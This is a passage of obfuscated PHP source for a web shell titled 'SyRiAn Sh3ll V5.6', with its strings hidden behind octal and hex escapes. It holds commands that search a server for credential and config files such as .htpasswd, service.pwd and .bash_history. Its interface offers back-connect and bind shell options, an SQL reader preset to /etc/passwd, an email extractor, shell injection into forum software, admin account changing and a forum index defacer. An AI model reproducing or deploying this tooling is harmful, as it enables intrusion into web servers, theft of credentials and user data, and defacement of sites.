config.\151n\x63.\160\150\x70'>fi\156d config.\x69nc.\160\x68\x70 \x66i\154\145\163</option> + <option value='\x66\x69\156\x64 / -type \x66 -name \"config*\"'>\146\x69n\144 config* \x66\x69\154\145s</option> + <option value='\146\x69\156\144 . -type \x66 -name \"config*\"'>\x66ind config* \x66\151l\145s i\156 \143ur\162\x65n\164 \144\x69\162</option> + <option value='f\151\x6e\x64 / -p\x65rm -2 -\154\x73'>\146i\156\x64 al\154 \167\x72\151t\141\142\154\x65 \146\157\x6c\144\x65r\163 \141\156\x64 \x66i\154\145\x73</option> + <option value='f\151\x6e\x64 . -\160\x65\162\155 -2 -\x6c\163'>fi\156\x64 a\154l \x77\x72ita\x62l\145 \146\157\154\144ers a\156\x64 \146\151\154\x65\x73 \x69\x6e \x63\x75\162\162e\156\x74 dir</option> + <option value='f\151\x6e\x64 / -type f -name \163\145\162v\151\143e.\160\167d'>\146in\144 a\x6cl \163e\x72\x76\x69\x63\x65.\160w\x64 \146\151\x6ces</option> + <option value='\146\151n\144 . -type \146 -name \163\x65\162\166i\x63\x65.pw\x64'>\146i\156d \163\145\162\x76\151ce.\160w\x64 \146\151\x6ce\x73 \x69\x6e \x63\165r\162\145n\x74 di\162</option> + <option value='\x66\x69\156d / -type \146 -name .\x68\164pa\163s\x77d'>\x66\151n\144 \x61l\154 .\x68tp\141\x73sw\144 \146\151l\x65s</option> + <option value='\x66\x69\156d . -type \x66 -name .h\164\160\141\163s\167d'>\x66\x69\x6e\144 .\150\164p\141\163\163\x77\x64 fi\154\x65s in \143\x75\x72\x72e\156\x74 \144\151\x72</option> + <option value='\146i\156\144 / -type \x66 -name .b\x61s\150_\x68\151s\x74\157\162\x79'>\x66i\156\x64 \141l\154 .b\x61\163\150_\150\x69s\x74\x6f\x72y f\151\x6ces</option> + <option value='\x66\151\x6e\x64 . -type f -name .\x62\141\x73\x68_\150\151sto\x72\x79'>\146\151n\144 .b\x61\163\150_h\x69\x73\x74\157\162y \146\x69\154e\163 \x69\x6e c\165rr\x65n\x74 \144i\x72</option> + <option value='f\151\156d / -type f -name .\146\145\x74chma\151l\162\x63'>\146\x69\156d a\x6cl .\146\145t\143\x68\x6da\x69\154r\143 fil\x65\163</option> + <option value='\146\151\156\144 . -type \x66 -name .\146\x65\x74\143\150ma\x69l\x72\143'>\146in\144 .\x66\x65\x74\x63\x68m\141\x69\154\162\x63 \x66ile\163 \x69n c\x75\x72r\145\x6e\x74 d\x69\x72</option> + <option value='\x6co\x63a\164e \150t\164\x70\x64.con\146'>\154\157\x63\141te \x68\164\164p\144.\x63o\x6ef \146\151\154\145\163</option> + <option value='\x6c\157c\141t\145 \x76\150os\x74\x73.c\x6f\156\x66'>l\x6f\143\x61\x74e \166h\157s\x74\x73.c\x6fn\146 \146\x69\154\145s</option> + <option value='\x6c\x6fc\x61\x74\x65 \x70\x72\x6ff\x74\160\x64.\x63\157\156f'>\x6c\x6f\x63\x61\164\145 \x70\162\157\x66t\160\144.\x63o\x6ef fi\x6ce\163</option> + <option value='\x6co\143\x61\164\x65 psy\x62nc.\143o\156f'>\154\x6f\143\141\164e \160\x73\x79\142\156c.\143\x6f\x6e\x66 fi\154\145\163</option> + <option value='\x6c\x6f\143\141\x74\145 \155\x79.co\156\146'>\x6c\157\x63a\x74\145 \155\171.\x63\157\x6e\146 \146\151\x6c\145s</option> + <option value='\154o\143\141\164\145 admin.\160h\160'>\x6c\157\143\x61\164\145 admin.\x70hp f\x69le\163</option> + <option value='\x6c\157\x63at\x65 \143\x66g.p\150\160'>\x6co\143\x61\x74\145 \x63\x66\147.p\x68\x70 \x66\151\154\x65\x73</option> + <option value='\x6c\x6fc\x61t\x65 \x63\x6fn\146.\160\x68p'>l\157\x63\x61\x74\x65 \143\157\x6ef.\160hp f\151l\145\x73</option> + <option value='\x6c\x6f\143a\164\x65 config.dat'>\x6c\x6fca\164e config.dat f\151\154es</option> + <option value='loc\x61t\145 config.\x70\x68\x70'>\154\x6f\143a\164e config.\x70\150\x70 \x66\151\x6c\x65\163</option> + <option value='\x6co\143a\164e config.i\156\x63'>l\157\x63\141\164e config.\151n\x63 fil\145\163</option> + <option value='l\x6f\x63\x61\164\145 config.inc.\160h\160'>\154\x6f\x63\x61\x74\x65 config.i\x6e\x63.p\150p</option> + <option value='\154o\x63a\164e config.\144\145\x66aul\x74.\x70\x68\x70'>\x6c\157\143\141\x74e config.\x64\145\146a\x75lt.php f\151les</option> + <option value='lo\x63\x61\x74\x65 config'>\154oc\x61te config* \x66\x69\154e\x73 </option> + <option value='\154\157\x63a\164\x65 \'.\x63\157nf\''>\x6coca\x74\x65 .\143\157nf f\x69l\x65\x73</option> + <option value='\x6c\157\x63\141\164\x65 \'.\160wd\''>\x6c\157\143\141\164e .p\167d \x66i\x6c\x65\x73</option> + <option value='l\x6f\x63\x61\164\145 \'.sql\''>l\x6fc\141t\x65 .sql \x66\x69l\x65\x73</option> + <option value='\x6c\x6f\143\x61\x74e \'.\150t\160\x61\x73\163\167d\''>\x6c\157\143at\145 .\x68\164p\x61\163\x73\167d \146i\x6ce\163</option> + <option value='lo\143\141\x74\145 \'.b\x61\x73h_\150\x69\x73\x74\157\162\171\''>\154o\143\x61\x74\x65 .\142a\x73h_his\164\157\x72y \x66\151\x6ces</option> + <option value='lo\143\x61\164e \'.\155y\x73ql_\x68\x69\x73t\157\x72\171\''>\154o\143\141te .\155y\x73q\154_h\151s\164or\x79 f\151\x6c\x65s</option> + <option value='locat\145 \'.f\145\x74\x63hm\141i\x6c\x72\143\''>l\157ca\x74\x65 .\146\x65t\143\x68\x6d\141\x69\x6c\162c fi\x6c\x65\x73</option> + <option value='\x6c\157cat\145 \142\x61\143k\x75p'>lo\x63\141t\x65 bac\x6b\165\x70 \146\x69les</option> + <option value='\x6c\x6fca\164\x65 \x64\x75mp'>\154\x6fca\x74\145 du\155\x70 \146\151\x6c\x65\x73</option> + <option value='\154o\143\141te \160\x72\x69v'>\x6c\157\x63\141\x74\145 p\x72i\166 \146\151\x6c\x65\163</option> + </\163\145l\145\x63\x74> + "; } } function iii0li0iIOii1III($name,$content) { $file = fopen($name,"w+"); if($file) { $iII1lOolO0o1oIi0 = fwrite($file,$content); if(!$iII1lOolO0o1oIi0){return false;} } else{return false;} fclose($file); return true; } function which($ioi1i110o00OIoio) { $path = Exe("which $ioi1i110o00OIoio"); if(!empty($path)) { return trim($path); } else {return trim($ioi1i110o00OIoio);} } function i11Ii10o0oIli1I1($ili1i1l011oIIIIl) { global $disablefunctions,$safemode; $safe=array('passthru','system','exec','exec','shell_exec','popen','proc_open'); if($safemode=='ON' && in_array($ili1i1l011oIIIIl,$safe))return 0; elseif(function_exists($ili1i1l011oIIIIl) && is_callable($ili1i1l011oIIIIl) && !strstr($disablefunctions,$ili1i1l011oIIIIl))return 1; return 0; } function CSS($iIi1i11l11OoIlIl) { $css = " + <h\164\x6d\154 \x64\x69r=r\164\x6c> + <h\145a\144> + <\164\x69\164le>S\x79\122\x69\101\x6e Sh\x33\154\154 ~ \x56\065.6~ [ B\x33 \x43r3\064\x54!V\063 \x4fr \104!3 T\x52\171!\156G ]</title> + <\154\151n\153 \x72e\154=\"s\150or\x74\143u\164 \151c\x6f\x6e\" \x68\x72\145\x66='h\164\164p://\x73y\x72\x69a\156-shell.\x63\x6f\155/\164i\x74\154e.\147i\146' /> + <m\145t\141 \x68t\164\160-\145q\165i\x76=\x43\157nt\145\x6et-\124y\160\x65 content=text/htm\x6c; c\150\141\x72\163\x65\x74=wi\156\x64\157\167s-1256> + <s\x74\x79\x6ce> + B\117\x44\x59 + { + \106\117N\124-\106A\115\x49L\x59: \x56e\x72da\x6e\x61; + m\141rgin: 2; + \143ol\x6fr: #c\143\x63\143\143\143; + \142\x61\143\153\x67\x72\157\x75n\144-\x63\x6f\x6c\157\x72: #000000; + } + sy + { + \143o\154\157\162:".$iIi1i11l11OoIlIl."; + \x66on\x74-size:7\160t; + \x66on\x74-w\145\x69\147h\164: \142o\154\144; + } + #Box + { + \143\x6f\154\157r:".$iIi1i11l11OoIlIl."; + \146on\164-size:14\x70\x78; + \142\x61\143k\x67\x72\157\165\x6e\144-\x63olor:#000; + \x66\157\156t-\x77e\151\x67\x68\164:\x62ol\x64; + } + \164\162 + { + B\117\x52\104\105\122-\x52\x49\x47\110\x54: #cc\x63c\143c 1\160\170 \x73o\x6c\151\144; + B\x4f\x52\x44\x45\x52-\124\x4f\120: #\x63\143\143\x63\143\x63 1\x70\x78 \163\x6fl\x69\144; + \102O\x52\x44ER-\x4cE\106\x54: #\143\143ccc\143 1px \163\x6f\x6c\151\x64; + B\117RD\x45\x52-\102\117T\x54\117\115: #\x63\x63\143\x63\x63\143 1\160\170 \x73\x6f\x6c\x69\x64; + c\157l\x6f\162: #\146\146\146\146\146f; + } + \x74\144 + { + B\117\x52\104\105R-\x52\111\107H\124: #\143c\143\x63\143\x63 1\x70\170 s\x6f\x6c\151\144; + B\117R\104\x45R-\x54\x4f\120: #\143c\x63\143\143\143 1p\x78 \x73o\154\151d; + \102\117\122\x44\105R-L\x45\x46\124: #\x63\143\x63\143\x63\143 1\160x \163\157\x6c\151d; + B\x4fR\x44\x45R-\x42\117\x54\x54\117\x4d: #\143\143\x63c\143\143 1px \163\157\154id; + \143\x6fl\x6f\x72: #\x63\143\x63\143\x63\x63; + } + .\x74\x61\x62l\145\061 + { + \x42\117\x52\x44\x45\x52: 1\x70\170 n\157ne; + \x42A\x43\113\107RO\125\116\x44-C\117\x4c\117\x52: #000000; + c\x6fl\157\x72: #333333 + } + .\x74d1 + { + B\x4f\122\x44E\x52: 1\160\x78 \156o\156e; + co\x6c\x6f\162: #\x66\146\x66\x66\146\146; f\x6f\156\x74-\163\x74\x79\154\x65:\156o\x72\155a\154; + font-v\141r\x69\x61nt:\156o\162\x6dal; + f\x6f\x6e\x74-w\145i\147\x68t:\x6e\157\162m\141\154; + f\x6f\x6e\x74-size:7\160\164; + \146\157nt-\146am\x69\x6c\x79:\164ah\x6fma + } + .\x74\162\x31 + { + \102O\122\x44E\122: 1p\170 \156on\x65; + co\x6c\x6f\x72: #\143\143\143\143\x63\143; + } + ta\x62le + { + \102\117R\x44ER: #e\x65e\145\145\145 out\163e\x74; + BA\x43K\x47\x52\117\x55\x4e\104-CO\114\x4fR: #000000; + \x63\x6f\154\157r: #\x63\143\x63ccc; + } + input + { + B\117\122D\x45\x52-R\111\107\x48T: ".$iIi1i11l11OoIlIl." 1\x70\170 \x73\x6f\154\151d; + B\117\x52\104ER-\x54\117P: ".$iIi1i11l11OoIlIl." 1\160\x78 s\157\154i\x64; + \x42\x4f\122\104\105\x52-\x4c\105FT: ".$iIi1i11l11OoIlIl." 1\160\x78 \x73\157\x6ci\x64; + \102\x4fRD\105\122-\102\x4f\124T\x4f\x4d: ".$iIi1i11l11OoIlIl." 1p\x78 \x73\x6f\x6c\151\x64; + BA\x43K\x47\122OU\x4eD-C\117\x4cO\x52: #333333; + \146ont: 9p\x74 \164\x61\x68\157m\141; + \143o\154o\162: #\x66f\146f\146f; + } + s\145l\145\143\164 + { + BO\x52\x44\x45\122-R\111\x47HT: #\146\x66\146\146\146f 1\160x \163\x6f\154\x69\x64; + \102\x4f\x52DE\122-TOP: #999999 1\160x \x73oli\x64; + \x42OR\104E\122-\114EFT: #999999 1px s\157l\x69d; + B\x4fR\104\x45\x52-\x42\117\x54\124\x4fM: #\x66\146\x66f\x66f 1\x70\170 \x73\157\154\x69d; + \102\101C\x4bGR\117UN\x44-\103\x4f\x4c\117R: #000000; + \x66\x6fn\164: 9\x70t \164\141h\x6f\155a; + \x63\x6f\x6c\x6f\x72: #\x43\x43C\x43\x43\x43;; + } + submit + { + \102O\x52\104\105\x52: 1p\x78 o\165t\163\145t \x62u\x74\x74\157\156hig\150\x6c\151\147\x68\x74; + BAC\113\x47\x52OU\116\104-\103O\x4cOR: #272727; + \167\x69\144t\x68: 40%; + col\x6f\x72: #\143c\x63\143\x63\x63; + } + tex\x74a\x72\145a + { + \x42\x4fR\x44ER-R\x49\x47H\124: #\x66\146\146fff 1\160\170 \163\157\154\x69\144; + \x42O\122\x44\x45\122-\x54\x4f\x50: #999999 1\160x \x73o\x6c\151d; + \x42\x4f\122\x44\x45\122-L\105\x46\x54: #999999 1\160\170 sol\x69\x64; + \x42\117\x52\x44\105\122-\x42\117\124\x54OM: #f\146\x66f\146f 1\160x \x73ol\x69\x64; + \102\101\x43\x4bGROUN\x44-\x43\x4f\x4c\117\x52: #333333; + co\x6c\157\x72: #\146\146\146\146\146\146; + } + \x41:\x6ci\x6e\x6b {CO\x4c\x4fR:".$iIi1i11l11OoIlIl."; \124E\130\x54-\x44EC\117\x52A\124\111\x4f\x4e: no\x6ee} + \x41:\x76i\163\x69\164\145\x64 { \x43\x4f\114\x4f\x52:".$iIi1i11l11OoIlIl."; \124\105\130\124-\x44\105CORAT\x49\117\x4e: n\157\156e} + \x41:\141\143\164\151\166\x65 {C\117\114\117\122:".$iIi1i11l11OoIlIl."; TEX\124-DE\103O\x52\101\x54I\117\x4e: \156\x6fne} + \x41:\150\157v\x65r {\x63\x6f\154o\x72:b\x6cue;\x54\x45XT-D\105\x43\117\x52\101T\111\x4f\116: \x6e\x6f\x6e\x65} + </s\164\x79l\145> + <s\x63\162i\x70t> +fu\x6e\143\x74ion \x69n\x73(text) +{ + \x64o\x63u\155\x65\156\x74.\x6es\x74.chars.value+=text; + \x64o\143ument.\156st.chars.fo\143u\x73(); +} +\x66\165nct\151\157\x6e Suicide() +{ + \166\x61\x72 co\x6ef\x69\x72m\x53u\x69\x63i\144\x65 = \143\x6f\156\x66\151rm('\101r\x65 Y\157\x75 \x53ur\x65 \x59\x6f\x75 \x57\x61\156\x6ea D\145l\x65\x74\145 \164\x68\145 \x73\1503\154\x6c ?'); + i\146(\x63\x6f\156\x66i\x72\x6d\123\165\151c\151\x64\145 == \164\x72\165\145){\144o\143u\155e\x6et.l\157\x63\x61t\x69o\x6e='".i01oiOo00oiIl1Io()."?\151d=\104e\x6ce\x74e';} + \145l\x73e{\144o\143\x75men\164.\x6c\157ca\164i\157n='".i01oiOo00oiIl1Io()."';} +} +fu\156\143\x74\151o\156 \x42l\165\x72(\151\144 , \x64ef\141\154u\x74\x54\145\x78t) +{ + \151f( \x64\x6f\x63\165m\x65\x6et.get\105\154\x65\x6d\145\156\x74B\x79I\144(\x69\x64).value == ''){\144\x6f\143\165ment.\x67e\x74\105l\145m\x65\156\x74\102\x79\x49\144(\x69\x64).value = d\x65f\x61\154\x75\164Tex\164;} +} +\146\x75\156\143t\151o\x6e Cle\x61\162(i\144 , \x64\145\x66\x61\154u\164\x54e\170\x74) +{\151\x66( \144o\143\x75\155ent.\147e\x74\105l\145\155\145n\164\102\x79\x49d(\x69\x64).value == \x64\145falutT\x65x\x74){\144\157\143\x75\x6d\145\x6et.\147\145\x74Elem\145\156\x74By\x49\144(\x69\144).value = '';}} +\146\165n\x63\x74i\157\156 \x53\x63\x72\x69p\x74s\124\x79p\x65() +{ + \151f(\144o\143\x75m\x65n\164.\x67\145tE\x6cem\x65\x6e\164\x42\x79\111\144('ScriptType').value == 'v\142') + {\144\157\x63\165m\x65\x6e\x74.g\145\164\x45\x6c\145\155\145n\x74\x42yI\x64('\x50\162e\146\151\170').value = '';} + e\154\x73\145 if(d\x6fc\165\x6d\x65n\164.\147\145\164\105\154em\x65\156t\x42yI\x64('ScriptType').value == '\x77p') + {\144\157c\x75me\156\x74.\147\145t\105l\x65\x6d\145\156\164\102y\x49d('P\162e\x66\151x').value = '\167\160_';} + \x65l\163\x65 i\x66(\144o\143um\x65\x6et.\147\145\x74\105l\x65\x6d\145n\164\x42yI\x64('ScriptType').value == '\152\157s') + {\x64oc\165\155\145nt.g\x65\164\x45\x6c\145\155en\164\102\171\111d('\x50ref\151x').value = '\152o\x73_';} + \145\154\x73e \x69\x66(\144\x6f\x63\165\155\145n\164.\147et\105\154\145\155\145n\x74\102\171\x49\x64('ScriptType').value == '\x70\150\x70\x62\x62') + {d\157\x63um\145\x6e\164.\x67e\x74E\x6ce\155\145nt\102y\111\144('\x50\x72e\146\x69x').value = '\160\150\x70\142\x62_';} + \145\154\x73e i\146(\144\x6f\143u\x6d\x65\x6et.\147e\164E\x6ce\x6d\x65nt\102yId('ScriptType').value == 'ipb') + {do\x63\165\155e\x6e\164.getEle\x6de\156\x74\102y\111d('\x50r\x65\146i\170').value = 'ip\142_';} + \145\154s\145 i\146(do\143um\x65\x6e\x74.g\145t\105\154\145\x6d\145\156\x74B\x79\111d('ScriptType').value == 'm\x79b\x62') + {\x64\x6f\x63\x75m\145n\164.g\145\x74\105l\145m\145\156\x74\102\x79\111\144('\120\x72\145\146\151\x78').value = '\155\171bb_';} + e\154\x73\145 \x69\146(d\x6fc\x75\x6de\x6et.\x67\145\x74\x45\154em\145\156tBy\111\144('ScriptType').value == 'sm\146') + {\x64\x6fcu\155\x65\156\x74.\x67\x65\x74El\145m\x65ntBy\x49\x64('\120\162e\x66\x69\170').value = '\163\155\x66_';} +} +\146\165n\x63ti\x6f\x6e \x65\166\x61\154O\162E\156\x632() +{ + if(d\x6f\x63\165m\x65\156\x74.\x67\x65\x74\x45l\x65\155e\156\164\102\x79\111\144('\145v\x61l\117\162\x45\x6e\143').value == '\145\x76\x61\x6c') + +{\144\157c\x75\155\145\x6et.\147\145\164\105l\x65\155\x65\x6e\164\x42\171\x49\x64('\x70\x68p_e\x76\141l').value = '<?ph\x70 \145\x63\x68o \"S\x79R\x69\101\x6e_\123h\063\x6c\x6c V5.6 LEAKED\"; ?>';} + \x65\154\163e \151\146(\144\x6fc\165\155\x65\156\164.g\x65\x74\105\x6ceme\156t\102\x79\111\x64('e\x76al\x4frE\x6e\143').value == 'enc') + {\x64\157c\165\155\145n\x74.\147e\164E\x6ce\155\145\x6e\x74\x42\171\111\x64('\160hp_\x65va\x6c').value = '\x6d\x79 St\162ing \x54o \x45\156cr\x79\160\164';} + \x65\x6c\x73\145 i\x66(\x64\x6f\x63\165\155e\x6e\x74.\x67\145\x74\x45l\x65\155\145\x6e\164ByI\x64('\x65\x76alO\x72\x45\x6ec').value == '\x61n\141\154\x79z\x65') + {\144\157cu\155\145\156\164.\x67\145\164\105\154\x65men\x74\x42\171\111\144('p\150\160_\x65v\141l').value = '\143\x34c\141\x342\063\070\1410b\x39\062\x33\x38\x32\x30\144\143\x635\x30\071a6\1467\x35\x384\x39\x62';} + \x65\154\x73e \x69f(\144\157\143\x75\x6de\156\164.\x67\x65\164\105\x6c\x65m\145n\164\x42\171\111\x64('e\166\141\154Or\x45\x6e\143').value == 'sc\x61\x6e') + {d\157\x63\x75m\x65\x6e\x74.\x67\x65\x74El\x65m\x65\156t\x42y\x49d('\x70\150p_\145\x76a\x6c').value = '127.0.0.1';} + el\163\145 \151\x66(\144o\143\x75\x6d\145\156\x74.g\145\164El\x65\155\x65nt\102y\x49\144('\x65\x76\141\x6c\117\162\x45\156\143').value == '\x67\145\x6eS\145\x72\166') + {d\157cu\x6dent.\147\145t\x45\154\145m\145\156\x74\102\x79I\144('\x70h\x70_\x65v\x61\154').value = '".addslashes(getcwd())."';} + \145l\163e \151\x66(\x64\157\143\165me\156t.\x67\145\x74\x45l\145\x6de\x6e\164\x42\171\111\144('e\x76al\117\x72\105\x6ec').value == '\163q\x6cS\x63\141\x6en\145\x72') + {\144\157cu\x6de\x6e\164.\x67e\x74\x45\154\145\x6d\145\156\164B\x79I\x64('p\150\160_ev\x61\x6c').value = 'i\156\x75\x72\154:ph\x70?=i\x64+site';} +} +f\165\156\143\164\x69\157\x6e \103h\141\x6e\147\x65\x53\x51\x4c\124\x79\x70\145() +{ + \x69\x66(\x64\157c\x75\155e\156\x74.\x67\145t\105l\145m\145\156\x74\x42y\x49\144('\x53Q\x4c\124y\160\145').value == 'S\x51\x4c\121\165e\x72\x79') + {\144\157\x63\165\155\x65\x6e\x74.\x67\145\x74\105\154e\155e\156\164\x42\171\111\144('inpu\x74T\171\160e').in\156\145\162\110T\x4dL = '<\x74\x65\170\x74\x61\x72\x65\x61 name=\'\x51\125\' rows=\'4\' \x63ols=\'44\'>\x53\105\114EC\x54 * FROM e\x6d\160 ;</\164\145x\x74\141\162\145\x61>';} + \x65l\x73\x65 i\146 (\144oc\165\x6d\x65\x6e\x74.\x67\x65tEl\145\x6d\x65\156\164B\171Id('\123QL\124\x79pe').value == '\123\121\114R\145a\x64\x65\x72') + {\144\157\143u\155\x65\156t.\x67etE\x6c\145m\x65\156\x74\x42\171Id('\151\x6e\160\165\164T\171\x70\145').\x69\156\156\x65\162H\x54\115L = '<input type=\'text\' value=\'/\x65\x74c/passwd\' name=\'\146\x69\154e\' size=\'70\'><\x62\162/>';} + \145l\163\x65 \151\146 (docu\x6den\x74.\147\145t\105l\x65\155\145\x6etB\x79\111d('\x53Q\114\124\x79\x70\x65').value == '\105\155\x61\151l\x45\170\164\x72a\143\164or') + {\x64\157\x63um\145\x6e\164.\x67\145\164El\x65\x6d\x65\156tB\171\111d('\151\156\160\x75tTy\x70\145').\151n\x6e\145\x72\110\124\115\x4c = '<input type =\'text\' name=\'E\115_\124\x41B\114\105\' value=\'\x75\x73\145\x72s T\141\142l\x65\' /> <input type =\'text\' name=\'\x45\x4d_C\x4fLU\115\116\' value=\'\x65m\141\x69\154\163 \103o\154\165mn\' /> <input type=\'submit\' value=\'?\' name=\'\145\155ailEx\164\162\x61c\x74o\x72H\x65\154\x70\' al\x74=\'\x45ma\151l E\170\x74\x72\x61\143t\157\162 H\x65\x6c\x70\'/><\142\162/>';} +} +\146\165\x6ectio\156 v\x69\x65\167\x50a\163\163() +{ + \151\x66(\x64\x6f\143\165m\145\156\x74.get\105\154e\155\145nt\102\171\111\x64('b\x61c\x6b_se\154ect').value == 'p\145\162\x6c\062') + {\144\x6fc\165m\x65n\x74.g\145\x74\105\x6c\x65\x6d\145\156\x74\102\x79\111d('\x76\151e\x77_\x70\x61\163\x73').i\x6e\x6e\x65\162HT\x4d\x4c= '<input type=\'text\' name=\'back_pass\' size=\'30\' value=\'password\'>';} + \x65\154\x73\145 {d\x6f\x63\165\155\145\156t.\x67\145t\x45\154\x65\155\145\x6e\x74B\171\x49\144('\166\x69\x65\x77_\x70a\x73s').\x69n\x6e\145\x72H\x54\115\x4c= '';} + + \x69\x66(\x64\x6f\x63\165me\156\x74.\147\145\x74El\145\155\x65\x6etB\171\x49d('b\x69\156\144_\x73\x65\x6c\x65\x63t').value == '\x70\x65r\154\061-l\x69n\165\170') + {\x64\157\x63\x75\x6d\x65\156\164.\147\145\x74E\x6ceme\156\164\x42\x79\111\x64('\x76i\145\167_\142\151n\x64_\160\141\163\x73').i\x6en\145\x72H\124\x4d\x4c= '<input type=\'text\' name=\'\x62\x69n\x64_pa\163s\' size=\'30\' value=\'password\'>';} + els\x65 {\x64\x6f\x63\165me\x6e\164.\x67\x65\x74\105lem\x65\x6et\102\x79\111\144('v\x69\x65\x77_b\x69n\x64_\x70\141\163\x73').\151n\156erH\124ML= '';} + if(\144\157\143\x75\x6d\x65\x6et.\147\x65\164\x45\154\145\155e\x6e\164\x42\x79\111\144('\142\x69\x6ed_s\x65\x6c\145c\x74').value == '\143\x31-li\156\165\170') + {\x64\x6f\143ume\156\164.\x67\145\x74E\154\x65\x6de\156\x74\102\171I\x64('v\x69e\x77_\142\x69n\144_\160as\163').i\156n\x65rH\124ML= '<input type=\'text\' name=\'\x62i\x6ed_\160a\163\x73\' size=\'30\' value=\'password\'>';} + \x65l\163\145 {do\143u\155\145\x6e\164.g\x65\164\105l\145\x6de\156\164\102y\111\144('\166\x69\x65\167_\x62i\156\x64_\x70\141ss').\x69\156\x6e\x65\162\x48\x54M\114= '';} + +} +fu\x6e\143\x74\151\x6f\156 \x61d\144\x55pl\x6f\x61\144\111\x6e\160u\164() +{do\143\x75m\145\x6e\x74.\x67\x65\x74\x45\x6ceme\x6e\x74B\171\111d('u\160l\x6f\141d\111\156\x70u\x74').i\x6e\x6ee\162H\x54M\x4c += '<input type=\'\146i\154\x65\' name=\'\x75\160\154\x6f\141\x64\x66i\154\x65[]\'>'; } +\x66\165nc\164ion \x68\141c\153\151\156gT\x79\x70e\x73() +{ + i\x66(\144\157\x63u\x6de\x6et.\x67\x65\x74\105\x6c\145\x6d\x65\x6e\x74By\x49d('hackingType').value == 'i\x6e\144e\170\103\x68\141ng\x65r') + { + \144o\143\165\155\145n\164.\x67\x65\164\105\154\x65\x6de\156t\x42\171\111\x64('\x49\156\x6a\x65\143\x74\x53\150\145\x6c\x6cSpa\156').\x69n\x6eerHTM\114 = '<\x73\171>\x49\x6e\x6a\145\x63\164 \x53\x68\x33\154\x6c ? </sy><\x73\x65\154e\143\x74 name=\'\x69nj\x65\143\x74S\150\x65ll\' i\144=\'\151nj\145\143t\123hel\154\' \157\x6ec\150\x61\x6ege=\'inj\x65\143t\123\150\x65l\x6c\x46u\x6ec\x74\151o\156();\'><option value=\'no\'>\116O</option><option value=\'\x79es\'>\131E\123</option></\163\x65\x6c\x65c\x74><\163\x79> V\102\165\154\x6ce\164\151n On\154\x79 ! </s\x79>'; + \144oc\165m\x65\156t.\147\x65\x74\x45\x6c\145m\x65ntB\x79I\144('\x53\110\x42').inn\145\162\x48\124\115\114 = '<\164\145\x78\x74are\141 name=\'\111NDEX\' rows=\'9\' \151d=\'\x74\150e\x49\x6e\x64\145x\' \143\x6f\154\x73=\'45\' onbl\x75\x72=\'Blu\162(\"\164h\145\x49\156\x64\145x\",\"Pu\164 \x59\x6f\165r Index \110e\x72e !\");\' \x6fn\x63\x6c\x69\143k=\'\103\x6c\145\x61\x72(\"\x74\150eIn\144ex\",\"\120\165\x74 \131\157\165\x72 \111n\144e\170 \110\145\x72\x65 !\");\' >\x50\x75\x74 \131\x6f\x75\x72 \x49nd\x65\170 H\x65r\x65 !</te\170\x74ar\x65\x61>'; + } + e\x6c\163\145 \151\x66(\144\157\143\165\x6de\156\164.\x67\145\x74\x45\154\145m\x65\x6e\x74\x42y\x49d('hackingType').value == 'changeInfo') + { + do\143\x75\x6d\x65\x6e\164.\x67\145t\105\x6c\x65\155\145\x6e\164\102\171I\144('\x49n\152e\x63tSh\x65\x6c\154\124yp\145\123\x70\141\x6e').\x69n\x6eer\110\x54M\x4c = ''; + \x64\157c\x75m\145\x6e\164.\147\x65\164E\154\x65\x6d\x65\x6e\164B\171\x49\x64('\x49\x6e\152\145c\164\123\x68e\154l\123\x70\141n').\x69nner\110T\115L = ''; + \x64\157\143u\155\145\156\164.g\x65t\105l\x65\x6d\145\x6e\x74B\171\111\x64('\x53\x48B').in\x6e\x65\162HT\115L = '<input name=\'adminID\' type=\'text\' \x69d=\'adminID\' value=\'admin \x69\144 ~= 1\' o\156b\154\x75\x72=\'\102\x6cu\162(\"adminID\",\"admin id ~= 1\");\' \157ncl\151\143\153=\'\x43\154\145\141\x72(\"adminID\",\"admin \x69\144 ~= 1\");\' ><input name=\'userName\' type=\'text\' id=\'userName\' value=\'username\' \x6fnb\x6cu\162=\'\x42\154u\x72(\"userName\",\"username\");\' \x6f\x6e\x63\154i\x63k=\'C\x6c\145\141r(\"userName\",\"username\");\' ><input name=\'password\' type=\'text\' \151d=\'password\' value=\'password ( \116\x6ft \x45\156\143\162\x79\160t\x65\x64 !)\' o\x6e\x62\x6c\x75r=\'B\x6c\x75\x72(\"password\",\"password ( \x4e\x6ft \105\x6e\143\x72\171\x70t\x65\144 !)\");\' \x6fncli\x63\153=\'\x43\154\x65\141\162(\"password\",\"password ( \x4e\157\x74 \x45\x6ec\x72\171\x70\164\x65\144 !)\");\' >'; + } + \x65l\163\145 \151\x66(\144\157\143um\145\156\164.g\x65\164\x45\154\145\x6d\145\156\164ById('hackingType').value == '\144\x65\143\162\x79p\164') + { + d\157\143\165me\x6et.g\x65\164\x45l\x65\155e\x6e\164\x42\171I\x64('\x49\x6e\x6a\x65\x63\x74\x53\150e\x6c\x6cT\x79\x70\145\123\x70an').in\x6e\145\x72\110\x54M\x4c = ''; + \144\157c\165m\145\x6e\x74.\x67e\164\105\x6ce\155\145\156\164B\x79\x49d('I\x6e\152\x65c\x74She\x6c\x6c\x53p\141n').i\x6e\156e\162\110\x54M\114 = ''; + \144\x6f\x63u\155\145\156t.\x67\145\164E\x6c\x65\155en\x74\x42y\x49d('SH\x42').in\x6e\145\162\110\x54\115\x4c = ''; + } +} +\x66\165nc\164i\157n in\152e\x63\x74\x53\150\x65\154l\x46un\x63t\x69\x6f\156() +{ + \151f(\144\157\143ume\x6e\164.\147\x65t\105\154\x65\x6d\145\156\x74By\x49d('\x69\x6ejec\164\123h\145ll').value == '\x79\145\x73') + { + \144\x6fc\x75\x6d\x65\156\x74.\x67\x65t\105l\145\x6d\x65\156tById('\x49nje\x63\x74\123\x68\x65\x6c\x6c\x54y\x70e\x53\160\141\156').\151\156\156er\x48\124ML = '<\x73\x65le\x63t name=\'injectShellType\'><option value=\'\146a\161\'>F\x41\x51</option><option value=\'s\145a\x72\143h\'>\123\x65\141\x72c\150</option><option value=\'\143a\154\145\156da\x72\'>\x43\x61\154\x65ndar</option></\163\x65l\x65\x63\x74>'; + } + \x65\154s\x65 {\144o\x63\165me\x6et.\147\x65tE\154\145\x6d\145\156\164\x42\171I\x64('\111\156\152\x65\143t\x53\150\x65l\x6c\124\x79\160e\123\160\141n').\151\x6e\156e\162\110\x54M\114 = '';} +} +\x66un\143\164\x69\x6f\156 \103\150\141n\x67e\111\x6ep\x75\x74\x73() +{ + \151\146(d\157\x63\165me\x6e\x74.\147e\164\x45l\x65m\x65\x6e\164By\111\144('\141\143\x74\x69\x6f\x6eT\x79p\x65').value == 